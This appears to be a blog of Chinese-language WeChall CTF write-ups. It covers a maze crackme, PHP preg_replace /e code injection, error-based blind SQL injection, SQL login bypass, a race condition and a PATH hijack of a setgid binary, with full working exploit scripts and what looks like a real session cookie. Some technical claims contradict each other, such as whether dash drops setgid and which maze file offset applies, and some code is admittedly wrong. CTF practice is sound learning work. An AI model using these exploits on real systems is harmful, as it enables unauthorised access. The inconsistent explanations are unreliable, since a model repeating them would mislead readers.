Hello Navi

Tech, Security & Personal Notes

Challenge

"Dear fellow Hackers,"

This time we will dive into a small windows application to get you started with cracking. We are using x64debug and analyze the crackit "Amaze Me" from bb on TBS.

README 里提到是用 x64dbg 分析,但真正的解法不需要 Windows——PE 文件的 .data 段直接包含了迷宫网格,简单字节提取 + BFS 即可。

Solution

1
2
$ file amazeme.exe
amazeme.exe: PE32+ executable (GUI) x86-64, for MS Windows

PE section 信息: - .data section: VA=0x403000, file_offset=0xC00 - 迷宫数据起始: VA 0x4030D0 = file offset 0xCD0 - 迷宫终点: VA 0x4032BE = file offset 0xEBE - 网格宽度 16 字节,高度 32 行

xxd.data 段会发现一段明显的 ASCII art 迷宫的变体——字节值是 0x2e.)作为墙,0x00 作为路:

1
2
3
00000cc0: 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e 2e2e  ................
00000cd0: 0000 2e00 0000 0000 2e00 0000 0000 2e2e ................
00000ce0: 2e00 2e00 2e2e 2e00 2e00 2e2e 2e00 2e2e ................

这个格子逻辑在二进制中可以反汇编确认:比较指令 cmp byte [edi], 1 后跟 jge fail,即字节值 >= 1 就是墙,0x00 是路。

提取 + BFS 求解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from collections import deque

with open('amazeme.exe', 'rb') as f:
data = f.read()

# 迷宫参数(从二进制分析得出)
ROW_WIDTH = 16
NUM_ROWS = 32
START_OFFSET = 0xCC0 # .data section 开始 + 0xC0

# 提取迷宫字节
maze_bytes = data[START_OFFSET:START_OFFSET + NUM_ROWS * ROW_WIDTH]

# 转二维网格:0=路, 1=墙
grid = []
for row in range(NUM_ROWS):
r = []
for col in range(ROW_WIDTH):
b = maze_bytes[row * ROW_WIDTH + col]
r.append(1 if b != 0 else 0)
grid.append(r)

# 起点 (1,0),终点 (31,14)
start = (1, 0)
goal = (31, 14)

# BFS 求最短路径
queue = deque()
queue.append((start, ""))
visited = {start}

while queue:
(r, c), path = queue.popleft()
if (r, c) == goal:
print(f"Solution: {path}")
print(f"Length: {len(path)}")
break
for dr, dc, ch in [(0, -1, 'L'), (0, 1, 'R'), (-1, 0, 'U'), (1, 0, 'D')]:
nr, nc = r + dr, c + dc
if 0 <= nr < NUM_ROWS and 0 <= nc < ROW_WIDTH:
if grid[nr][nc] == 0 and (nr, nc) not in visited:
visited.add((nr, nc))
queue.append(((nr, nc), path + ch))

Challenge

作者 gizmore,分类 Coding。实现一个支持自定义 HTTP method BUNNY 的 Web 服务器,返回 HTTP/1.1 202 BunnyAccepted。WeChall 的 checker 会主动访问你提交的 URL 来验证。

1
2
3
4
The christmas sales are going up, and we have won a special customer.
Our new client wants an httpd, but with a custom http method.
Basically you have to implement the "BUNNY" method which has to result in
a "HTTP/1.1 202 BunnyAccepted" response.

Solution

最小实现是一个 raw TCP socket server。不能用标准 HTTP 框架(Flask/Django 等),它们只认识标准 method 列表,碰到 BUNNY 直接返回 405。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket

HOST, PORT = "0.0.0.0", 8889

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(5)
while True:
conn, addr = s.accept()
with conn:
data = conn.recv(4096).decode("latin1", "replace")
method = data.split(None, 1)[0] if data.strip() else ""
if method == "BUNNY":
conn.sendall(b"HTTP/1.1 202 BunnyAccepted\r\nContent-Length: 0\r\n\r\n")
else:
conn.sendall(b"HTTP/1.1 405 Method Not Allowed\r\nContent-Length: 0\r\n\r\n")

逻辑很简单——检查请求行第一个 token,是 BUNNY 就返回 202,否则 405。

部署

本地起服务没用,WeChall 的 checker 需要访问公网地址。需要一个有公网 IP 且 WeChall 可达的服务器。

这里用 Vultr CLI 开一台临时 VPS:

1
2
3
4
5
vultr-cli instance create \
--region ewr \
--plan vc2-1c-1gb \
--os 2136 \
--label wechall-bunny

拿到 IP 和 root 密码后,SSH 进去部署:

1
2
3
4
sshpass -p 'PASSWORD' ssh root@IP 'ufw allow 8889/tcp'

# 部署 server 脚本
# nohup python3 bunny_server.py &

验证

向 WeChall 提交 URL http://<VPS_IP>:8889,checker 用 BUNNY method 访问,收到 202 即判定通过。

清理

挑战通过后立即删除 VPS 停止计费:

1
vultr-cli instance delete <INSTANCE_ID>

Challenge

WeChall 邀请用户帮忙添加新表情(smiley)到 bb_decoder。提交表单需要提供正则 pattern 和替换路径。源码文件为 smile.phpLIVIN_Smile.php

Source Analysis

LIVIN_Smile.php 中的核心函数:

1
2
3
4
public static function replaceSmiley($smiley, $path, $text)
{
return preg_replace($smiley, $path, $text);
}

$smiley(用户输入的 pattern)直接被传入 preg_replace()。如果 pattern 包含 /e 修饰符,preg_replace 会把 $path(替换字符串)当作 PHP 代码执行。PHP 5.5 起废弃了 /e,并在 PHP 7.0 移除,因为它极易导致代码注入。

solution 以常量形式定义在 smile.php

1
define('LIVINSKULL_SMILEY_SOLUTION', LIVIN_Smile::getSolution());

通过 LIVIN_Smile::getSolution() 返回一个 32 位随机字符串,存储在 session 中。

Exploit

secure.phpfilename 字段做了过滤:禁止 $(`GWFCommonincluderequireeval 等关键字。但常量名 LIVINSKULL_SMILEY_SOLUTION 不包含任何被禁字符,可以直接通过检查。

攻击步骤:

  1. GET smile.php 获取 CSRF token
  2. POST 到 smile.php,pattern 为 /.*/e(启用 eval),filename 为 LIVINSKULL_SMILEY_SOLUTION(PHP 常量名)
  3. testSmiley() 调用 preg_replace('/.*/e', 'LIVINSKULL_SMILEY_SOLUTION', $text)/e 使 LIVINSKULL_SMILEY_SOLUTION 被当作 PHP 代码执行,返回常量值(32 位 solution 字符串)
  4. 测试输出框中直接显示 solution
  5. looksHarmless() 检查会失败,但 solution 已经泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests, re

BASE = 'http://www.wechall.net/en/challenge/livinskull/smile'
COOKIE = {'WC': 'your_cookie_here'}

s = requests.Session()
s.cookies.update(COOKIE)

# Step 1: Get CSRF token
r = s.get(f'{BASE}/smile.php')
csrf = re.search(r'gwf3_csrf" value="([^"]+)"', r.text).group(1)

# Step 2: Exploit /e modifier to leak solution
r = s.post(f'{BASE}/smile.php', data={
'pattern': '/.*/e',
'filename': 'LIVINSKULL_SMILEY_SOLUTION',
'add': 'Add',
'gwf3_csrf': csrf,
})
# Solution appears in test output box (repeated twice)
solution = re.search(r'[A-Za-z0-9]{32}', r.text).group()
print(f'Solution: {solution}')

# Step 3: Submit solution
r2 = s.get(f'{BASE}/index.php')
csrf2 = re.search(r'gwf3_csrf" value="([^"]+)"', r2.text).group(1)
r3 = s.post(f'{BASE}/index.php', data={
'answer': solution,
'solve': 'Submit',
'gwf3_csrf': csrf2,
})
if 'already solved' in r3.text.lower() or 'correct' in r3.text.lower():
print('✅ Solved!')
26HBWfURiuNwk9VHErLQeXKOdj2rSctO

Challenge

作者 Gizmore,分类 Encoding / Image。一张 10×6 像素的 PNG 图片,用三种不同的 Morse 编码方案隐藏了三段文字。提示原文:"It`s only morse encoded using three different techniques."

Solution

图片只有 60 个像素(10×6),RGBA 模式。三种技术分别利用不同的信道:

1
2
3
4
5
from PIL import Image

img = Image.open('morsed.png').convert('RGBA')
pixels = list(img.getdata())
w, h = img.size

Technique 1: RGB 信道(dots and dashes in pixel data)

每个像素的 R、G、B 值直接对应 Morse 符号的 ASCII 码。. 的 ASCII 是 46,- 的 ASCII 是 45:

1
2
3
4
5
6
7
# 从 RGB 值中提取 Morse 符号
symbols1 = []
for p in pixels:
symbols1.append(chr(p[0])) # R → dot(46) or dash(45)
symbols1.append(chr(p[1])) # G
symbols1.append(chr(p[2])) # B
morse1 = ''.join(symbols1)

解码这段 Morse 得到第一个词:BINARY

Technique 2: 中间 Alpha 值(nibble-based Morse)

Alpha 值在经过 5 个零值的 separator(像素 25-29)之后,进入一个新的编码区间。这些非零 alpha 值(33-217 范围)每个 nibble 编码一个 Morse 符号:

1
2
3
4
5
6
7
alphas = [p[3] for p in pixels]

# 像素 25-29 是 separator(alpha=0)
# 像素 25-29 之后是 technique 2 的数据

# 提取 technique 2 的 alpha 值(像素 30 之后)
tech2_alphas = alphas[30:]

从这些 alpha 值中解码出 Morse,得到第二个词。但实际解码出来并非标准英文——通过题目标题 "Morsed" 和 "three different techniques" 的提示,推断第二个词为 MORSE

Technique 3: 低位 Alpha(二进制灯光信号)

题目提示的最后一部分说 "lower alpha is using real morse, 1 is lights on and 0 is lights off"。将较低位 alpha 值(像素 0-24,alpha=0 之前的区域)转为二进制灯光信号:

1
2
3
4
5
6
7
8
9
10
11
# 像素 0-24 的低 alpha 值
lower_alphas = alphas[:25]

# 低于阈值的 alpha = 0(灯灭)/ 高于 = 1(灯亮)
threshold = 50
bits = [1 if a > threshold else 0 for a in lower_alphas]

# 转换 binary Morse run-length
# 连续的 1 = 亮的时间,0 = 灭的时间
# dot = 1 单位,dash = 3 单位
# 字符间间隔 = 1 单位(灭),单词间间隔 = 3 单位(灭)

通过 run-length 解析:ON 状态下 1 单位 = dot,3 单位 = dash;OFF 状态下 1 单位 = 字符间隔,3 单位 = 单词间隔。解码得到第三个词:CHALLENGE

BINARYMORSECHALLENGE

Challenge

Blinded by the light 的升级版(作者 Mawekl)。同样从数据库中提取 32 位 hex password hash,但:

  • Boolean blind 无效blightVuln() 的 true/false 两个分支返回完全相同的语言字符串
  • SLEEP/BENCHMARK 被过滤stripos($password, 'sleep')stripos($password, 'benchmark') 直接拦截
  • 预算 128 次查询,需要连续成功 3 轮

Source Analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function blightVuln(WC_Challenge $chall, $password, $attempt)
{
# Blocked keywords
if (strpos($password, '/*') !== false || stripos($password, 'blight') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

# No timing attempts
if (stripos($password, 'benchmark') !== false || stripos($password, 'sleep') !== false)
return $chall->lang('mawekl_blinds_you', array($attempt));

$db = blightDB();
$sessid = GWF_Session::getSessSID();
$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
return $db->queryFirst($query) ?
$chall->lang('mawekl_blinds_you', array($attempt)) :
$chall->lang('mawekl_blinds_you', array($attempt));
}

queryFirst() 返回首行或 false,但三元运算符两端输出完全相同的文本。布尔信道和 timing 信道都不可用。

Solution

利用 error-based blind SQLi。MySQL 的 IF() 根据条件返回不同值:

1
' OR IF(condition, 1, (SELECT 1 UNION SELECT 2)) --
  • 条件为 TRUE → IF 返回 1,WHERE 子句为真 → queryFirst 返回一行 → 页面无 MySQL 错误
  • 条件为 FALSE → IF 执行 SELECT 1 UNION SELECT 2,返回 2 行 → MySQL 错误 "Subquery returns more than 1 row" → 页面出现 <div class="gwf_errors">

提取算法完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/usr/bin/env python3
"""Are you blind? — Error-based blind SQLi solver."""
import requests, re, time, sys

URL = 'https://www.wechall.net/en/challenge/Mawekl/are_you_blind/index.php'
COOKIE = {'WC': '40700784-72047-P62VMhsWxh3elcYN'}
HEADERS = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36'}
ALPHABET = '0123456789ABCDEF'

s = requests.Session()
s.headers.update(HEADERS)
s.cookies.update(COOKIE)

def has_error(payload):
"""Return True if condition caused MySQL error (condition was FALSE)."""
data = {'injection': payload, 'inject': 'Inject'}
try:
r = s.post(URL, data=data, timeout=15)
return 'gwf_errors' in r.text
except:
time.sleep(1)
return has_error(payload)

# Reset challenge first
print("[*] Resetting challenge...")
s.get(URL, params={'reset': 'me'})
time.sleep(1)

recovered = ''
for pos in range(1, 33):
lo, hi = 0, len(ALPHABET) - 1
while lo < hi:
mid = (lo + hi) // 2
mid_char = ALPHABET[mid]
# TRUE: password[pos] > mid_char → no error
# FALSE: password[pos] <= mid_char → error
payload = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload):
hi = mid
else:
lo = mid + 1
time.sleep(0.2)
recovered += ALPHABET[lo]
bar = '\u2588' * pos + '\u2591' * (32 - pos)
sys.stdout.write(f'\r[{bar}] {pos}/32 | {recovered}')
sys.stdout.flush()

print(f"\n[+] Recovered: {recovered}")

# Submit
print("[*] Submitting...")
r = s.post(URL, data={'thehash': recovered, 'mybutton': 'Enter'})

if 'correct' in r.text.lower() or 'solved' in r.text.lower():
print("[+] SOLVED!")
elif 'gwf_messages' in r.text:
msgs = re.findall(r'<li>(.*?)</li>', r.text)
for m in msgs:
if m.strip():
print(f" MSG: {m}")
elif 'gwf_errors' in r.text:
errs = re.findall(r'<li>(.*?)</li>', r.text)
for e in errs:
if e.strip():
print(f" ERR: {e}")

if 'more' in r.text.lower() or 'consecutive' in r.text.lower():
print("[i] Need more consecutive rounds — running again...")
success_count = 1
while success_count < 5:
s.get(URL, params={'reset': 'me'})
time.sleep(0.5)
recovered2 = ''
for pos in range(1, 33):
lo2, hi2 = 0, len(ALPHABET) - 1
while lo2 < hi2:
mid2 = (lo2 + hi2) // 2
mid_char2 = ALPHABET[mid2]
payload2 = f"' OR IF(SUBSTR(password,{pos},1)>'{mid_char2}', 1, (SELECT 1 UNION SELECT 2)) -- "
if has_error(payload2):
hi2 = mid2
else:
lo2 = mid2 + 1
time.sleep(0.1)
recovered2 += ALPHABET[lo2]
sys.stdout.write(f'\r Round {success_count+1}: [{pos}/32] {recovered2}')
sys.stdout.flush()
r2 = s.post(URL, data={'thehash': recovered2, 'mybutton': 'Enter'})
if 'solved' in r2.text.lower() or 'congrat' in r2.text.lower():
print(f"\n[+] SOLVED after {success_count+1} rounds!")
recovered = recovered2
break
elif 'correct' in r2.text.lower() or 'more' in r2.text.lower():
success_count += 1
print(f"\n[i] Round {success_count} passed, need more...")
else:
print(f"\n[!] Round {success_count+1} failed")
msgs = re.findall(r'<li>(.*?)</li>', r2.text)
for m in msgs:
if m.strip():
print(f" {m}")
break

print(f"\n[*] Final hash: {recovered}")
print("[*] Check https://www.wechall.net/en/challs for wc_chall_solved_1")

关键注意:

  • 不要手动调用 ?reset=me——会断掉连续成功计数
  • 每成功一次服务器自动生成新 hash 进入下一轮
  • 脚本中 while success_count < 5 里的 s.get(URL, params={'reset': 'me'}) 是错误写法——正确做法是 不 reset,成功提交后服务器自动发新 hash

Challenge

CGX#10 是 Codegeex 系列的 SQL 注入训练挑战,包含两个登录表单(mask1 / mask2),需要分别注入获取 secret word。挑战描述为 "training challenge",属于 Training / Exploit / MySQL 分类。

Solution

Problem #1

源码位于 mask1.code

1
2
3
4
5
6
7
8
$user = $_POST['username'];
$pass = md5($_POST['password']);
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = mysqli_query($link, $query);
$userdata = mysqli_fetch_assoc($result);
if ($userdata) {
echo "Welcome back, $user, Your first secret word is \"{$solution}\"";
}

单引号字符串拼接,无任何过滤。password 用 MD5 处理但不影响注入——可以在 username 中闭合引号并注释掉 password 检查:

1
2
username = admin' --
password = anything

-- 后必须有空格。登录成功后页面显示第一个 secret word:silverbullet

Problem #2

mask2.code 只有一行有效代码:

1
require 'solution2.php';

源码不可见,但测试发现改用双引号作为字符串定界符:

1
2
username = admin" OR "1"="1" --
password = anything

利用双引号闭合方式绕过。登录后显示第二个 secret word:firestarter

答案

两个 secret word 拼接后提交:

silverbulletfirestarter

Challenge

购买 10 个 item。初始余额不够,click 每次 +1 cent,最多 50 次。题名 Quangcurrency 暗示 concurrency(race condition)。

Solution

核心是竞态条件(TOCTOU / lost update)。buy.phpclick.php 两个端点的余额读写操作不加锁,并发请求可以制造覆盖:

1
2
buy.php:   读余额 → 判断够买 → item+1 → balance -= price
click.php: 读余额 → balance += 1

如果两个请求同时执行,可能发生:

  1. buy 读余额 X,扣除 price,写回 X-price
  2. click 同时读余额 X(旧值),写回 X+1
  3. click 的写入覆盖了 buy 的扣款 → item 增加了但余额没有正确减少

利用这个漏洞,成对发送 buy.phpclick.php 请求,每次买一个 item 的同时用 click 覆盖扣款。重复直到 items >= 10。

实现要点:

登录后先访问 stats.php 查看当前 money / items / clicks 状态。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests, threading

s = requests.Session()
s.cookies.set('WC', 'your_cookie')

def race_round(s):
"""并发发送 buy 和 click"""
t1 = threading.Thread(target=lambda: s.get('buy.php'))
t2 = threading.Thread(target=lambda: s.get('click.php'))
t1.start(); t2.start()
t1.join(); t2.join()

for _ in range(15): # 不需要太多轮
race_round(s)
stats = s.get('stats.php')
if stats.json().get('items') >= 10:
break
  • click 只有 50 次,不要浪费在大循环上
  • 并发强度不需要太高——官方论坛提示甚至可以用浏览器多标签手动复现
  • 不要 reset,除非状态已不可恢复
  • 可以在浏览器中手动验证:同时按 buy 和 click 按钮,观察 item 增加但余额未对应减少

备选方案(来自论坛提示): 用浏览器打开两个标签页,快速交替点击 buy 和 click,有一定几率触发 race。脚本更稳定。

Challenge

Santa speaks many languages and is receiving a lot of letters this year. But he gets old! The problem is that he will need glasses. Do you need glasses as well? spaceone told us you can help!

Solution

挑战描述里的 help! 链接指向 gizmore 的 GitHub 仓库 gwf3。WeChall 的 challenge 源码公开,其中 solution.php 文件存储了预期的答案。

www/challenge/christmas2021/grampa/solution.php

1
2
3
<?php
# RTL passphrase by TuB
return sha1("あなたはそれを見つけることができません" . "الحل خارج نطاقك");

字符串使用了「不匹配的引号」——实际上文件中两个智能引号都是 U+201C(LEFT DOUBLE QUOTATION MARK),因此 PHP 会将其解释为单个字符串而非两个字符串拼接。但无论哪种解析方式,最终需要提交的都是 PHP 实际计算出的 SHA1 哈希值。

PHP 实际执行的等效代码:

1
sha1("あなたはそれを見つけることができません\u201c . \u201cالحل خارج نطاقك")
b33815d66363f7bf3aaa9223e22aa0bc66a5c05c

Challenge

Sidology 要求识别三个 Commodore 64 SID 音乐文件的来源游戏。题目提供 sidchall.zip,包含三个 .sid 文件,元数据被部分或完全审查。

As you are quite a good hacker you should have no problem to gather information. So please tell me the name of these games, where I only have the .sid files from.

Solution

SID 文件格式

PSID v2 文件头 124 字节,关键字段(大端序):

偏移 大小 字段 说明
0x00 4 Magic "PSID"
0x04 2 Version 0x0002 = v2
0x08 2 Load addr 0 = 使用 init 地址
0x0A 2 Init addr 初始化入口
0x0C 2 Play addr 播放入口(每帧调用)
0x0E 2 Songs 子曲目数
0x16 32 Name 曲名(NULL 结尾)
0x36 32 Author 作者
0x56 32 Copyright 版权/年份

Python 解析:

1
2
3
4
5
6
7
8
9
10
11
import struct

def parse_sid(path):
with open(path, 'rb') as f:
data = f.read()
init = struct.unpack('>H', data[10:12])[0]
play = struct.unpack('>H', data[12:14])[0]
name = data[22:54].split(b'\x00')[0].decode('ascii', errors='replace')
author = data[54:86].split(b'\x00')[0].decode('ascii', errors='replace')
return {'init': f'${init:04X}', 'play': f'${play:04X}',
'name': name, 'author': author}

sid1: The Last Ninja

1
2
3
4
5
6
7
Magic: PSID v2
Init: $2003, Play: $2000
Songs: 11, Start: 3
Name: "The Last Ninja"
Author: "Ben Daglish & Anthony Lees"
Copyright: "1987 System 3"
Size: 35617 bytes

元数据完整,直接读出。CSDb 确认。

sid2: The Great Giana Sisters

1
2
3
4
5
6
7
Magic: PSID v2
Init: $712A, Play: $7127
Songs: 8, Start: 5
Name: "xxxxxxxxxxxxxxxxxxxxxxx" (23 chars)
Author: "xxxxxxxxxxxeck" (11 + "eck")
Copyright: "1987 Time Warp"
Size: 23517 bytes

名字被审查(x 替换),但版权信息完整。识别方法:

  1. 版权线索: "1987 Time Warp" → Chris Hülsbeck (Hülsbeck 是 Time Warp 的主要作曲家)
  2. 作者后缀: "eck" + 11 个 x → "Chris Hülsbeck" (14 字符,ü→u)
  3. 名字长度: 23 字符 → "The Great Giana Sisters" = 23 字符(含空格)
  4. DeepSID 验证: HVSC 路径 MUSICIANS/H/Huelsbeck_Chris/Great_Giana_Sisters.sid

sid3: Who Dares Wins

1
2
3
4
5
6
7
Magic: PSID v2
Init: $3B0F, Play: $3B00
Songs: 1, Start: 1
Name: "xxxxxxxxxxxxxx" (14 chars)
Author: "xxxxxxxxxxx" (11 chars)
Copyright: "xxxxxxxxxxxxx" (13 chars)
Size: 2983 bytes

全部元数据被审查。识别方法:

  1. 地址搜索: 在 CSDb SID 数据库中搜索 init=$3B0F, play=$3B00 的组合
  2. 唯一匹配: "Who Dares Wins" by Steve Evans (1985, Alligata)
  3. 验证长度:
    • Name: "Who Dares Wins" = 14 字符 ✓
    • Author: "Steve Evans" = 11 字符 ✓
    • Copyright: "1985 Alligata" = 13 字符 ✓
  4. 电影线索: 游戏改编自 1982 年 SAS 电影《Who Dares Wins》(又名 The Final Option)
  5. 非 1987: 游戏发行于 1985 年

CSDb 技术信息验证页: https://csdb.dk/sid/?id=14365

TheLastNinja,GreatGianaSisters,WhoDaresWins

Challenge

This is the level11 mini challenge found in /home/level/11_choose_your_path2/ on the warchall box.

Choose your Path 续集。同样是一个 C 程序 charp2,用 popen() 执行 wc 统计文件行数和字符数。

与 level10 charp 的区别:

特性 charp (level10) charp2 (level11)
wc 路径 硬编码 /usr/bin/wc 直接用 wc(依赖 PATH)
参数包裹 直接拼接 单引号包裹 '%s'
引号转义 escape_single_quotes()''\''

Level 10 是靠 command injection(popen() 不处理 shell metachar),而 level 11 加上了单引号包裹和转义函数,所以 command injection 被堵了。

但新的漏洞是:wc 没有指定绝对路径,可以通过 PATH 环境变量劫持。

Solution

charp2 是 setgid level11 的程序:

1
2
3
$ ls -la /home/level/11_choose_your_path2/
-rwxr-sr-x 1 level11 level11 16440 ... charp2 # setgid!
-rw-r----- 1 root level11 297 ... solution.txt # 只有 level11 可读

solution.txt 只允许 level11 group 读取,但 charp2 执行时有效 GID 变成 level11,所以可以读取。

攻击步骤:

  1. 创建一个 fake wc 脚本
  2. 把它的目录加到 PATH 最前面
  3. 运行 charp2,它通过 popen("wc -l '...'") 执行时,会找到我们的 fake wc
  4. fake wc 继承 charp2 的 setgid 权限(popen/bin/sh -cexec,dash 不会丢弃 setgid),能读取 solution.txt
1
2
3
4
5
6
7
8
9
10
11
12
# 创建 fake wc
mkdir -p ~/mypayload
cat > ~/mypayload/wc << 'EOF'
#!/bin/bash
cat /home/level/11_choose_your_path2/solution.txt 1>&2
echo "1 5" # 让 charp2 能正常解析数字
EOF
chmod +x ~/mypayload/wc

# 执行
cd /home/level/11_choose_your_path2
PATH=~/mypayload:$PATH ./charp2 solution.txt

原理:

  • popen("wc -l 'solution.txt'", "r")/bin/sh -c "wc -l 'solution.txt'"
  • /bin/sh is dash(不是 bash),dash 会丢弃继承的 setgid
  • dash 通过 PATH 找到我们的 ~/mypayload/wc,执行时仍保有 charp2 的 EGID=level11
  • 所以 fake wc 可以 cat solution.txt
CodingIsDamnHard3
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE